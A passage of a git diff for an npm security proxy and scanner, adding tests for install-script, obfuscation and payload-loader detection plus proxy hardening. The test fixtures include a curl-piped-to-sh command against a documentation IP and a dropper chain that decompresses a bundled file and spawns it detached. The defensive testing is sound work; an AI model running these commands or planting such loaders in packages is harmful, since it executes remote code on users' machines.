with a ustar prefix", () => { + test("the PAX path is used: a PAX-named duplicate root manifest is manifest-confusion", async () => { + const tarball = tarBytes([ + { name: "package/package.json", data: pkg() }, + { name: "PaxHeader", data: paxPath("package/package.json"), type: "x" }, + { name: "ignored", prefix: "pre", data: pkg({ scripts: { postinstall: CURL_SH } }) }, + ]); + const report = await auditTarball({ meta, tarball }); + assert.ok(report.findings.some((f) => f.ruleId === "manifest-confusion"), "manifest-confusion expected"); + assert.equal(report.verdict, "block"); + }); + + test("the PAX path names a scanned script", async () => { + const tarball = tarBytes([ + { name: "package/package.json", data: pkg({ scripts: { postinstall: "node setup.js" } }) }, + { name: "PaxHeader", data: paxPath("package/setup.js"), type: "x" }, + { name: "ignored", prefix: "pre", data: `${CURL_SH}\n` }, + ]); + const report = await auditTarball({ meta, tarball }); + assert.ok(report.findings.some((f) => f.ruleId === "install-scripts" && f.severity === "critical")); + }); +}); + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, cmd: string): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify({ scripts: { postinstall: cmd } }))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} +const crit = (files: Record, cmd: string) => + runRules(inputFor(files, cmd)).filter((x) => x.ruleId === "install-scripts" && x.severity === "critical"); +const EVIL = { "package/evil": `${CURL_SH}\n` }; + +describe("comments and command substitution do not hide commands", () => { + test("an apostrophe in a comment does not swallow later commands", () => { + assert.equal(crit(EVIL, "# it's\n./evil").length, 1); + }); + + test("`$(...)` and backtick bodies inside double quotes are scanned", () => { + assert.equal(crit(EVIL, 'echo "$(true; ./evil)"').length, 1); + assert.equal(crit(EVIL, 'echo "`./evil`"').length, 1); + assert.equal(crit(EVIL, 'echo "$(echo $(./evil))"').length, 1); + }); + + test("quote-aware inline code still works and a benign quoted separator stays clean", () => { + assert.equal(crit(EVIL, "bash -c 'node evil && echo done'").length, 1); + assert.equal(crit({ "package/README": "docs\n" }, "sh -c 'echo a && echo b'").length, 0); + }); +}); + +describe("repeated inline flags are linear", () => { + const fast = (label: string, files: Record, cmd: string) => { + const t = performance.now(); + runRules(inputFor(files, cmd)); + const ms = performance.now() - t; + console.log(`[timing] ${label}: ${ms.toFixed(0)} ms`); + assert.ok(ms < 1000, `${label} took ${ms.toFixed(0)} ms`); + }; + + test("60,000 inline flags with unterminated quotes", () => { + fast("unterminated", EVIL, "sh " + `-c "a `.repeat(60000) + "./evil"); + }); + + test("20,000 inline flags with mid-word quotes", () => { + fast("mid-word", EVIL, "sh " + `-c x"y `.repeat(20000)); + }); + + test("20,000 unmatched `$(` and backticks", () => { + fast("substitutions", EVIL, "echo " + "$(x ".repeat(20000) + "`y ".repeat(20000)); + }); +}); diff --git a/packages/core/test/security-rule-robustness-9.test.ts b/packages/core/test/security-rule-robustness-9.test.ts new file mode 100644 index 0000000..4c1bbbe --- /dev/null +++ b/packages/core/test/security-rule-robustness-9.test.ts @@ -0,0 +1,70 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Core closing review: renamed destructured imports under an overflow pad, and +// scripts reached after `cd`. + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} +function inputFor(files: Record, pkgJson: object): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + list.push(file("package/package.json", JSON.stringify(pkgJson))); + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} + +const RENAMED = ` +const {readFileSync:r,writeFileSync:w}=require("fs");const {spawn:go}=require("child_process");const {gunzipSync:g}=require("zlib"); +const path=require("path"),os=require("os"); +const o=path.join(os.tmpdir(),".x"); +w(o,g(r(path.join(__dirname,"intro.js")))); +go(o,[],{detached:true});`; +const PAD = `try{x${".b".repeat(60000)}}catch(e){}\n`; +const loader = (src: string) => + runRules(inputFor({ "package/index.js": src }, { name: "p", main: "index.js" })).filter((f) => f.ruleId === "native-payload-loader"); + +describe("renamed destructured imports under an overflow pad", () => { + test("the chain is critical on its own and still critical with the pad", () => { + assert.ok(loader(RENAMED).some((f) => f.severity === "critical"), "control: critical without the pad"); + assert.ok(loader(PAD + RENAMED).some((f) => f.severity === "critical"), "must stay critical with the pad"); + }); + + test("a benign file that only destructures readFileSync plus the pad stays non-critical", () => { + const f = loader(`${PAD}const {readFileSync:r}=require("fs");module.exports=()=>r("a");`); + assert.ok(!f.some((x) => x.severity === "critical")); + assert.equal(f.length, 0, "one signal is not a finding"); + }); +}); + +describe("scripts reached after `cd`", () => { + const crit = (files: Record, cmd: string) => + runRules(inputFor(files, { scripts: { postinstall: cmd } })).filter((x) => x.ruleId === "install-scripts" && x.severity === "critical"); + + test("`cd scripts && sh setup.sh`", () => { + assert.equal(crit({ "package/scripts/setup.sh": `${CURL_SH}\n` }, "cd scripts && sh setup.sh").length, 1); + }); + + test("`cd scripts && ./setup`", () => { + assert.equal(crit({ "package/scripts/setup": `${CURL_SH}\n` }, "cd scripts && ./setup").length, 1); + }); + + test("`cd scripts; node run` resolves scripts/run.js", () => { + assert.equal(crit({ "package/scripts/run.js": `${CURL_SH}\n` }, "cd scripts; node run").length, 1); + }); + + test("an operand that names nothing still resolves nothing", () => { + assert.equal(crit({ "package/scripts/other.sh": `${CURL_SH}\n` }, "cd scripts && sh setup.sh").length, 0); + }); +}); diff --git a/packages/core/test/security-rule-robustness.test.ts b/packages/core/test/security-rule-robustness.test.ts new file mode 100644 index 0000000..822eb8c --- /dev/null +++ b/packages/core/test/security-rule-robustness.test.ts @@ -0,0 +1,207 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { runRules } from "../src/index.js"; +import { analyzeLoaderChain } from "../src/detect/loader-chain.js"; +import type { AuditInput, PackageFile } from "../src/types.js"; + +// Audit hardening, Group 2: one malformed value must not disable a rule (F4), +// and no rule may go quadratic on attacker-shaped input (F5). + +const BIG = 256 * 1024; +/** Generous so it stays stable on slow CI; the unfixed code takes many seconds. */ +const BUDGET_MS = 1000; + +function file(path: string, content: string): PackageFile { + return { path, content, size: Buffer.byteLength(content), changed: false }; +} + +function inputFor(files: Record, pkgJson?: unknown, rawPkgJson?: string): AuditInput { + const list = Object.entries(files).map(([p, c]) => file(p, c)); + if (pkgJson !== undefined || rawPkgJson !== undefined) { + list.push(file("package/package.json", rawPkgJson ?? JSON.stringify(pkgJson))); + } + return { + meta: { + name: "probe", version: "1.0.0", author: null, maintainers: [], license: null, + hasInstallScripts: false, signature: "unknown", provenance: "unknown", integrity: null, + unpackedSize: 0, fileCount: list.length, + }, + files: list, + mode: "full", + }; +} + +function timed(fn: () => T): { out: T; ms: number } { + const t = performance.now(); + const out = fn(); + return { out, ms: performance.now() - t }; +} + +function assertFast(label: string, fn: () => unknown): void { + const { ms } = timed(fn); + console.log(`[timing] ${label}: ${ms.toFixed(0)} ms`); + assert.ok(ms < BUDGET_MS, `${label} took ${ms.toFixed(0)} ms (budget ${BUDGET_MS} ms)`); +} + +const CORRELATED = ` +const fs=require('fs'),zlib=require('zlib'),cp=require('child_process'),os=require('os'),path=require('path'); +(function(){ + const c=fs.readFileSync(path.join(__dirname,'intro.js')); + const b=zlib.gunzipSync(c.subarray(5)); + const out=path.join(os.tmpdir(),'.'+Math.random().toString(36).slice(2)); + fs.writeFileSync(out,b); fs.chmodSync(out,0o755); + const ch=cp.spawn(out,[],{detached:true,stdio:'ignore'}); ch.unref(); +})();`; + +const CURL_SH = "curl -s http://198.51.100.1/x | sh"; // RFC 5737 documentation address + +describe("F4: a malformed value must not disable a whole rule", () => { + test("non-string lifecycle command does not discard a real critical preinstall", () => { + for (const bad of [true, 5, {}, [], null]) { + const findings = runRules(inputFor({}, { scripts: { preinstall: CURL_SH, postinstall: bad } })); + const crit = findings.filter((f) => f.ruleId === "install-scripts" && f.severity === "critical"); + assert.equal(crit.length, 1, `postinstall=${JSON.stringify(bad)} must not drop the preinstall finding`); + } + }); + + test("a 20k-deep `exports` object does not disable native-payload-loader", () => { + const depth = 20000; + const exp = '{"a":'.repeat(depth) + '"./x.js"' + "}".repeat(depth); + const raw = `{"name":"p","exports":${exp}}`; + const findings = runRules(inputFor({ "package/index.js": CORRELATED }, undefined, raw)); + assert.ok( + findings.some((f) => f.ruleId === "native-payload-loader" && f.severity === "critical"), + "the loader chain in index.js must still be reported", + ); + }); + + test("an expression that overflows the AST walker does not disable the loader rule for other files", () => { + const deep = "x" + ".b".repeat(50000) + ";"; + const findings = runRules( + inputFor({ "package/deep.js": deep, "package/index.js": CORRELATED }, { name: "p", main: "index.js" }), + ); + assert.ok( + findings.some((f) => f.ruleId === "native-payload-loader" && f.severity === "critical"), + "the loader chain in index.js must still be reported", + ); + }); + + test("analyzeLoaderChain maps a walker overflow to parseFailed instead of throwing", () => { + const a = analyzeLoaderChain("x" + ".b".repeat(50000) + ";"); + assert.equal(a.parseFailed, true); + }); +}); + +describe("F5: no quadratic work on the sync path", () => { + test("install-scripts: 256 KB dot-free script command", () => { + const input = inputFor({}, { scripts: { postinstall: "a".repeat(BIG) } }); + assertFast("install-scripts referencedFiles", () => runRules(input)); + }); + + test("obfuscation: repeated `require(a(` (line 14)", () => { + const input = inputFor({ "package/index.js": "require(a(".repeat(BIG / 10) }); + assertFast("obfuscation dynamic-require", () => runRules(input)); + }); + + test("obfuscation: repeated `var a=Buffer.from(` (decoded assignment)", () => { + const input = inputFor({ "package/index.js": "var a=Buffer.from(".repeat(BIG / 18) }); + assertFast("obfuscation DECODED_ASSIGNMENT", () => runRules(input)); + }); + + test("obfuscation: repeated `new Function(Buffer.from(`", () => { + const input = inputFor({ "package/index.js": "new Function(Buffer.from(".repeat(BIG / 25) }); + assertFast("obfuscation new Function", () => runRules(input)); + }); + + test("obfuscation: many decoded assignments do not rescan the file per match", () => { + let src = ""; + for (let i = 0; src.length < BIG; i++) src += `var a${i}=atob(x);\n`; + assertFast("obfuscation per-match scanLines", () => runRules(inputFor({ "package/index.js": src }))); + }); + + test("native-payload-loader: repeated `Buffer.from(` regex fallback", () => { + const input = inputFor({ "package/index.js": "Buffer.from(".repeat(BIG / 12) }, { name: "p" }); + assertFast("native-payload-loader decode fallback", () => runRules(input)); + }); + + test("loader-chain: many primitives do not rescan the source per primitive (lineOf)", () => { + const src = "const fs=require('fs');\n" + "fs.readFileSync('a');\n".repeat(BIG / 21); + assertFast("loader-chain lineOf", () => runRules(inputFor({ "package/index.js": src }, { name: "p" }))); + }); + + test("loader-chain: many writes and launches", () => { + const head = "const fs=require('fs'),zlib=require('zlib'),cp=require('child_process');\n" + + "(function(){const d=zlib.gunzipSync(fs.readFileSync('x'));\n"; + let body = ""; + for (let i = 0; head.length + body.length < BIG; i++) body += `fs.writeFileSync('o${i}',d);cp.spawn('o${i}x');\n`; + assertFast("loader-chain writtenPaths", () => runRules(inputFor({ "package/index.js": head + body + "})();" }, { name: "p" }))); + }); + + test("detection survives the bounds: long base64 literal still found by every decode pattern", () => { + const b64 = "A".repeat(5000); + const assign = `var s = Buffer.from("${b64}", "base64"); new Function(s)();`; + const direct = `new Function(Buffer.from("${b64}", "base64").toString())();`; + const atobCase = `var s = atob("${b64}"); new Function(s);`; + for (const src of [assign, direct, atobCase]) { + const f = runRules(inputFor({ "package/index.js": src })).filter((x) => x.ruleId === "obfuscation"); + assert.ok(f.some((x) => /Function constructor/.test(x.message)), `missed: ${src.slice(0, 40)}`); + } + }); + + test("detection survives the bounds: dynamic require with a long argument", () => { + const src = `require(a("${"x".repeat(1000)}"));`; + const f = runRules(inputFor({ "package/index.js": src })).filter((x) => x.ruleId === "obfuscation"); + assert.ok(f.some((x) => /dynamic require/.test(x.message))); + }); + + test("detection survives the bounds: regex fallback still fires on unparseable JS with long base64", () => { + const src = `}{ const d = Buffer.from("${"A".repeat(5000)}", "base64"); require("fs").writeFileSync("/tmp/x", d);`; + const f = runRules(inputFor({ "package/index.js": src }, { name: "p" })).filter((x) => x.ruleId === "native-payload-loader"); + assert.equal(f.length, 1); + }); +}); + +describe("extension-less script resolution", () => { + const dangerous = (f: ReturnType) => + f.filter((x) => x.ruleId === "install-scripts" && x.severity === "critical"); + + test("`node setup` inspects the extension-less file `setup`", () => { + const f = runRules(inputFor({ "package/setup": `#!/usr/bin/env node\n${CURL_SH}\n` }, { scripts: { postinstall: "node setup" } })); + assert.equal(dangerous(f).length, 1); + }); + + test("`sh ./build.sh` and `sh build.sh` inspect the shell script", () => { + for (const cmd of ["sh build.sh", "sh ./build.sh", "sh build.sh && echo done"]) { + const f = runRules(inputFor({ "package/build.sh": `${CURL_SH}\n` }, { scripts: { install: cmd } })); + assert.equal(dangerous(f).length, 1, cmd); + } + }); + + test("a benign extension-less script stays a low finding", () => { + const f = runRules(inputFor({ "package/setup": "echo hello\n" }, { scripts: { postinstall: "node setup" } })); + assert.equal(dangerous(f).length, 0); + assert.ok(f.some((x) => x.ruleId === "install-scripts" && x.severity === "low")); + }); + + test("a token that names no retained file resolves nothing", () => { + const f = runRules(inputFor({ "package/other": `${CURL_SH}\n` }, { scripts: { postinstall: "node setup" } })); + assert.equal(dangerous(f).length, 0); + }); +}); + +describe("template-literal require", () => { + test("a loader chain written with require(`fs`) etc. still correlates", () => { + const src = CORRELATED + .replace("require('fs')", "require(`fs`)") + .replace("require('zlib')", "require(`zlib`)") + .replace("require('child_process')", "require(`child_process`)") + .replace("require('path')", "require(`node:path`)"); + assert.notEqual(src, CORRELATED); + assert.equal(analyzeLoaderChain(src).correlated, true); + }); + + test("a template literal with an expression is not treated as a static module name", () => { + const src = CORRELATED.replace("require('fs')", "require(`f${'s'}`)"); + assert.equal(analyzeLoaderChain(src).correlated, false); + }); +}); diff --git a/packages/core/test/security-trust.test.ts b/packages/core/test/security-trust.test.ts new file mode 100644 index 0000000..dcb5242 --- /dev/null +++ b/packages/core/test/security-trust.test.ts @@ -0,0 +1,49 @@ +import assert from "node:assert/strict"; +import { describe, test } from "node:test"; +import { generateKeyPairSync, sign, createHash } from "node:crypto"; +import { matchPackage } from "../src/policy.js"; +import { verifyRegistrySignature, type NpmSigningKey } from "../src/signature.js"; + +const { publicKey, privateKey } = generateKeyPairSync("ec", { namedCurve: "P-256" }); +const spkiPem = publicKey.export({ type: "spki", format: "pem" }).toString(); +const keyid = "SHA256:" + createHash("sha256").update(publicKey.export({ type: "spki", format: "der" })).digest("base64"); +const KEYS: NpmSigningKey[] = [{ keyid, spkiPem, expires: null }]; +const payload = { name: "demo", version: "1.0.0", integrity: "sha512-abc" }; +const goodSig = sign("sha256", Buffer.from("demo@1.0.0:sha512-abc"), privateKey).toString("base64"); + +describe("signature: unmatched keyids are no better than unsigned", () => { + test("signatures with only an unknown keyid, against a non-empty trusted set, are unsigned", () => { + assert.equal(verifyRegistrySignature(payload, [{ keyid: "SHA256:fake", sig: goodSig }], KEYS), "unsigned"); + }); + test("a fake keyid beside a valid signature still verifies", () => { + assert.equal( + verifyRegistrySignature(payload, [{ keyid: "SHA256:fake", sig: "AA==" }, { keyid, sig: goodSig }], KEYS), + "verified", + ); + }); + test("an empty trusted set keeps the unknown verdict (nothing to verify against)", () => { + assert.equal(verifyRegistrySignature(payload, [{ keyid: "SHA256:fake", sig: goodSig }], []), "unknown"); + }); +}); + +describe("policy glob matcher", () => { + test("keeps the documented semantics", () => { + assert.equal(matchPackage("@acme/*", "@acme/lib"), true); + assert.equal(matchPackage("@acme/*", "@other/lib"), false); + assert.equal(matchPackage("lodash", "lodash"), true); + assert.equal(matchPackage("lodash", "lodash2"), false); + assert.equal(matchPackage("*", ""), true); + assert.equal(matchPackage("a*b*c", "aXXbYYc"), true); + assert.equal(matchPackage("a*b*c", "abc"), true); + assert.equal(matchPackage("a*b*c", "aXXbYY"), false); + assert.equal(matchPackage("a.b", "aXb"), false, "regex metacharacters stay literal"); + assert.equal(matchPackage("a**b", "ab"), true); + assert.equal(matchPackage("*x", "yx"), true); + assert.equal(matchPackage("*x", "xy"), false); + }); + test("a multi-star pattern against a 50 KB non-matching string finishes fast", () => { + const t = Date.now(); + assert.equal(matchPackage("a*a*a*b", "a".repeat(50_000)), false); + assert.ok(Date.now() - t < 100, `took ${Date.now() - t} ms`); + }); +}); diff --git a/packages/core/test/signature.test.ts b/packages/core/test/signature.test.ts index 13bcf17..451aaef 100644 --- a/packages/core/test/signature.test.ts +++ b/packages/core/test/signature.test.ts @@ -28,7 +28,7 @@ describe("verifyRegistrySignature", () => { assert.equal(verifyRegistrySignature(payload, null, KEYS), "unsigned"); assert.equal(verifyRegistrySignature(payload, [], KEYS), "unsigned"); }); - test("unknown: signature keyid matches no configured key", () => { - assert.equal(verifyRegistrySignature(payload, [signFor(payload, "SHA256:nope")], KEYS), "unknown"); + test("unsigned: signature keyid matches no configured key (no better than unsigned)", () => { + assert.equal(verifyRegistrySignature(payload, [signFor(payload, "SHA256:nope")], KEYS), "unsigned"); }); }); diff --git a/packages/mcp/package.json b/packages/mcp/package.json index 2de9309..96d3a66 100644 --- a/packages/mcp/package.json +++ b/packages/mcp/package.json @@ -44,7 +44,7 @@ "dependencies": { "@git-agentic/sentinel-core": "0.1.0-alpha.2", "@modelcontextprotocol/sdk": "^1.29.0", - "zod": "^3.23.8" + "zod": "^4.6.7" }, "devDependencies": { "@types/node": "^24.13.2" diff --git a/packages/mcp/src/client.ts b/packages/mcp/src/client.ts index d511757..c13d1f4 100644 --- a/packages/mcp/src/client.ts +++ b/packages/mcp/src/client.ts @@ -1,4 +1,4 @@ -import type { AuditReport, Remediation } from "@git-agentic/sentinel-core"; +import type { AuditReport, Coordinate, Remediation } from "@git-agentic/sentinel-core"; export class ProxyError extends Error { constructor(message: string, readonly status?: number) { @@ -86,7 +86,7 @@ export class ProxyClient { return this.getJson(`/-/manifest/${encodeURIComponent(pkg)}/${encodeURIComponent(v)}`); } - async auditTree(packages: { name: string; version: string }[]): Promise<{ aggregate: { verdict: string; gated: boolean; counts: Record }; packages: unknown[] }> { + async auditTree(packages: Coordinate[]): Promise<{ aggregate: { verdict: string; gated: boolean; counts: Record }; packages: unknown[] }> { return this.postJson(`/-/audit-tree`, { packages }); } diff --git a/packages/mcp/src/index.ts b/packages/mcp/src/index.ts index 5efd180..35da250 100644 --- a/packages/mcp/src/index.ts +++ b/packages/mcp/src/index.ts @@ -26,7 +26,7 @@ export function createMcpServer(client: ProxyClient): McpServer { } async function main(): Promise { - const client = new ProxyClient(process.env.SENTINEL_PROXY ?? "http://localhost:4873"); + const client = new ProxyClient(process.env.SENTINEL_PROXY ?? "http://127.0.0.1:4873"); const server = createMcpServer(client); await server.connect(new StdioServerTransport()); } diff --git a/packages/mcp/src/tools.ts b/packages/mcp/src/tools.ts index 622411e..7b17e89 100644 --- a/packages/mcp/src/tools.ts +++ b/packages/mcp/src/tools.ts @@ -42,7 +42,7 @@ export const TOOLS: ToolDef[] = [ inputSchema: { lockfile: z.string() }, async handler(args, client) { const coords = parseLockfile(readFileSync(args.lockfile as string, "utf8")); - const result = await client.auditTree(coords.map((c) => ({ name: c.name, version: c.version }))); + const result = await client.auditTree(coords); return { text: `tree: ${result.aggregate.verdict.toUpperCase()}${result.aggregate.gated ? " (GATED)" : ""} · ` + Object.entries(result.aggregate.counts).map(([k, v]) => `${v} ${k}`).join(" · "), diff --git a/packages/mcp/test/security-audit-tree.test.ts b/packages/mcp/test/security-audit-tree.test.ts new file mode 100644 index 0000000..ff7f4b3 --- /dev/null +++ b/packages/mcp/test/security-audit-tree.test.ts @@ -0,0 +1,28 @@ +import assert from "node:assert/strict"; +import { mkdtempSync, writeFileSync } from "node:fs"; +import { tmpdir } from "node:os"; +import { join } from "node:path"; +import { describe, test } from "node:test"; +import type { ProxyClient } from "../src/client.js"; +import { TOOLS } from "../src/tools.js"; + +describe("sentinel_audit_tree forwards the whole lockfile coordinate", () => { + test("nonRegistry and integrity reach the proxy, so a git dependency is not audited as its registry twin", async () => { + const dir = mkdtempSync(join(tmpdir(), "mcp-lock-sec-")); + const lock = join(dir, "package-lock.json"); + writeFileSync(lock, JSON.stringify({ lockfileVersion: 3, packages: { + "": { name: "root" }, + "node_modules/leftpad-lite": { version: "1.0.0", integrity: "sha512-AAAA", resolved: "https://registry.npmjs.org/leftpad-lite/-/leftpad-lite-1.0.0.tgz" }, + "node_modules/color-stream": { version: "1.4.1", resolved: "git+ssh://git@github.com/evil/color-stream.git#abc123" }, + } })); + let sent: { name: string; version: string; nonRegistry?: string; integrity?: string }[] = []; + const client = { auditTree: async (packages: typeof sent) => { + sent = packages; + return { aggregate: { verdict: "block", gated: true, counts: { block: 1 } }, packages: [] }; + } } as unknown as ProxyClient; + await TOOLS.find((t) => t.name === "sentinel_audit_tree")!.handler({ lockfile: lock }, client); + const git = sent.find((p) => p.name === "color-stream"); + assert.match(git?.nonRegistry ?? "", /^git\+ssh:/); + assert.equal(sent.find((p) => p.name === "leftpad-lite")?.integrity, "sha512-AAAA"); + }); +}); diff --git a/packages/proxy/README.md b/packages/proxy/README.md index c8b31c7..6081dba 100644 --- a/packages/proxy/README.md +++ b/packages/proxy/README.md @@ -11,9 +11,14 @@ npm compatibility surface (packuments, dist-tags, unpublish-as-retraction). ```bash npm install -g @git-agentic/sentinel-proxy@alpha -sentinel-proxy # starts the proxy on :4873 +sentinel-proxy # starts the proxy on 127.0.0.1:4873 ``` +The proxy binds loopback by default. Set `SENTINEL_HOST` (for example `0.0.0.0`) and +`SENTINEL_PUBLIC_BASE_URL` to serve other machines. `SENTINEL_POLICY` must be exactly +`observe` or `block`. In open mode (no `SENTINEL_AUTH_PUBKEY`), publish, history import +and retraction require a publish token from `SENTINEL_PUBLISH_TOKENS`. + Point any npm/pnpm/yarn/bun client at it: ```bash diff --git a/packages/proxy/src/index.ts b/packages/proxy/src/index.ts index 9577b00..d1ea6b6 100644 --- a/packages/proxy/src/index.ts +++ b/packages/proxy/src/index.ts @@ -257,10 +257,31 @@ function resolveTrustMaterial(): ProvenanceTrustMaterial | null | undefined { } } +// A typo like `Block` must not silently fall back to serving blocked packages. +function resolveProxyPolicy(): ProxyPolicy { + const raw = env("SENTINEL_POLICY", "observe"); + if (raw !== "observe" && raw !== "block") { + console.error(`FATAL: SENTINEL_POLICY must be exactly "observe" or "block" (got ${JSON.stringify(raw)})`); + process.exit(1); + } + return raw; +} + +/** Bind address. Loopback by default so a bare `sentinel-proxy` is not reachable from the network. */ +function resolveHost(): string { + const raw = env("SENTINEL_HOST", "127.0.0.1"); + if (raw.trim() === "") { + console.error("FATAL: SENTINEL_HOST must be a non-empty host or IP address"); + process.exit(1); + } + return raw; +} + function main(): void { const here = dirname(fileURLToPath(import.meta.url)); const port = Number(env("SENTINEL_PORT", "4873")); - const policy = env("SENTINEL_POLICY", "observe") as ProxyPolicy; + const policy = resolveProxyPolicy(); + const host = resolveHost(); const tarballOrigins = resolveTarballOrigins(); const publicBaseUrl = resolvePublicBaseUrl(); const maxTarballBytes = resolvePositiveInt("SENTINEL_MAX_TARBALL_BYTES"); @@ -308,9 +329,15 @@ function main(): void { const vulnerabilities = resolveVulnerabilities(); const autoQuarantine = resolveAutoQuarantine(Boolean(authPublicKey)); + // The debounced write must survive a stop: `exit` does not fire on a default SIGTERM/SIGINT, so flush + // and exit with the conventional 128 + signal code. Registered here, never at import. + process.on("exit", () => store.flush()); + for (const [signal, code] of [["SIGTERM", 143], ["SIGINT", 130]] as const) process.on(signal, () => { store.flush(); process.exit(code); }); const app = createServer({ upstream, store, approvals, enterprisePolicy, policyHash, policy, publicDir, privateStore, claimCorpus, claimCorpusHash, retractionCorpus, retractionCorpusHash, publishTokens, trustMaterial, violations, approvalRequests, authPublicKey, history, advisories, vulnerabilities, publicBaseUrl, maxTreePackages, rateLimiter, extractLimits, autoQuarantine, registryMode }); - app.listen(port, () => { - console.log(`Sentinel proxy listening on http://localhost:${port}`); + app.listen(port, host, () => { + const shown = host === "0.0.0.0" || host === "::" ? "localhost" : host.includes(":") ? `[${host}]` : host; + console.log(`Sentinel proxy listening on http://${shown}:${port}`); + console.log(` host : ${host}${process.env.SENTINEL_HOST === undefined ? " (default; set SENTINEL_HOST to bind elsewhere)" : ""}`); console.log(` upstream : ${upstream.name}`); console.log(` tarball-origins: registry origin${tarballOrigins.length ? " + " + tarballOrigins.join(", ") : " only"}`); console.log(` public-url: ${publicBaseUrl ?? "loopback-derived (set SENTINEL_PUBLIC_BASE_URL for network deployments)"}`); @@ -325,10 +352,10 @@ function main(): void { console.log(` auto-quarantine: ${autoQuarantine ? "on (confirmed violations quarantine; auth-gated)" : "off (violations record-only)"}`); console.log(` approval-requests: ${process.env.SENTINEL_APPROVAL_REQUESTS ? "persisted" : "in-memory"}`); console.log(` history : ${history ? `enabled (${process.env.SENTINEL_HISTORY_DB})` : "disabled"}`); - console.log(` dashboard: http://localhost:${port}/`); + console.log(` dashboard: http://${shown}:${port}/`); const claims = enterprisePolicy.privateNamespaces ?? []; console.log(` private : ${claims.length ? claims.join(", ") : "none"} (publish ${publishTokens.length ? "enabled" : "disabled"})`); - console.log(`\nPoint npm at it: npm install --registry http://localhost:${port}`); + console.log(`\nPoint npm at it: npm install --registry http://${shown}:${port}`); if (process.env.SENTINEL_BOOT_EXIT) process.exit(0); }); } diff --git a/packages/proxy/src/resolution.ts b/packages/proxy/src/resolution.ts index ddb8055..4341150 100644 --- a/packages/proxy/src/resolution.ts +++ b/packages/proxy/src/resolution.ts @@ -61,6 +61,8 @@ export function claimForPackage(name: string, claimCorpus: ClaimCorpus): Verifie export function trustedPublisherAuthorized(claim: VerifiedClaim, identity: ProvenanceIdentity | null | undefined): boolean { if (!identity || !claim.trustedPublishers?.length) return false; return claim.trustedPublishers.some((publisher) => + // builder is a signer-written predicate claim: an entry must constrain a certificate-bound field too. + (publisher.repository !== undefined || publisher.workflowRef !== undefined) && publisher.issuer === identity.issuer && (publisher.repository === undefined || (identity.sourceRepository !== null && matchPackage(publisher.repository, identity.sourceRepository))) && (publisher.workflowRef === undefined || (identity.workflow !== null && matchPackage(publisher.workflowRef, identity.workflow))) && diff --git a/packages/proxy/src/server.ts b/packages/proxy/src/server.ts index bdf42cc..b23ec81 100644 --- a/packages/proxy/src/server.ts +++ b/packages/proxy/src/server.ts @@ -4,6 +4,10 @@ import express, { type Request, type Response } from "express"; import { rateLimit } from "express-rate-limit"; import { runAudit, + SRI_ALGORITHMS, + type SriAlgorithm, + ENGINE_VERSION, + AUDIT_REVISION, score, POLICY_SYNTHESIZED_RULE_IDS, policyHashOf, @@ -146,8 +150,8 @@ function integrityMatches(tarball: Buffer, declared: string): boolean { const tokens = declared.trim().split(/\s+/).filter(Boolean); if (tokens.length === 0) return false; return tokens.every((token) => { - const match = /^(sha1|sha256|sha512)-/.exec(token); - return match !== null && integrityOfAlgo(tarball, match[1] as "sha1" | "sha256" | "sha512") === token; + const algo = token.split("-", 1)[0]!; + return (SRI_ALGORITHMS as readonly string[]).includes(algo) && integrityOfAlgo(tarball, algo as SriAlgorithm) === token; }); } @@ -224,6 +228,16 @@ export function createServer(opts: ServerOptions) { const app = express(); app.disable("x-powered-by"); + const rateLimiter = opts.rateLimiter; + const rateGate: express.RequestHandler = rateLimiter + ? (req, res, next) => { + const key = req.socket.remoteAddress ?? "unknown"; + const { allowed, retryAfterSec } = rateLimiter.check(key); + if (allowed) return next(); + res.setHeader("Retry-After", String(retryAfterSec)); + return res.status(429).json({ error: "rate limit exceeded — retry later or raise SENTINEL_RATE_LIMIT_RPM" }); + } + : (_req, _res, next) => next(); // npm-compatible endpoints are a byte-preserving tunnel to the configured // upstream. Register them before JSON parsing so whitespace, encodings, and // non-JSON request bodies are not rewritten by Sentinel. @@ -231,28 +245,27 @@ export function createServer(opts: ServerOptions) { "connection", "keep-alive", "proxy-authenticate", "proxy-authorization", "te", "trailer", "transfer-encoding", "upgrade", "host", ]); + const clientCredentialHeaders = new Set(["authorization", "cookie", "npm-otp"]); + // npm posts the whole dependency tree to advisories/bulk, so this is generous but bounded. + const maxCompatibilityBodyBytes = 8 * 1024 * 1024; async function proxyCompatibility(req: Request, res: Response): Promise { if (!upstream.proxyRegistryRequest) { res.status(501).json({ error: "upstream does not support compatibility-route proxying" }); return; } const headers: Record = {}; + // Client credentials are for this proxy, not the upstream. npm attaches the token configured for the + // registry URL, which here is the Sentinel token, so no route (login included) may forward them. for (const [name, value] of Object.entries(req.headers)) { if (hopByHopHeaders.has(name) || value === undefined) continue; + if (clientCredentialHeaders.has(name)) continue; headers[name] = Array.isArray(value) ? value.join(", ") : value; } try { let body: Buffer | undefined; if (req.method !== "GET" && req.method !== "HEAD") { - const chunks: Buffer[] = []; - let size = 0; - for await (const chunk of req) { - const bytes = Buffer.from(chunk as Uint8Array); - size += bytes.length; - if (size > 128 * 1024 * 1024) throw new HttpError(413, "compatibility request exceeds 128 MiB"); - chunks.push(bytes); - } - if (size) body = Buffer.concat(chunks); + const bytes = await readCapped(req, maxCompatibilityBodyBytes); + if (bytes.length) body = bytes; } const response = await upstream.proxyRegistryRequest(req.originalUrl, { method: req.method, headers, ...(body ? { body } : {}), @@ -261,13 +274,18 @@ export function createServer(opts: ServerOptions) { if (!hopByHopHeaders.has(name.toLowerCase())) res.setHeader(name, value); 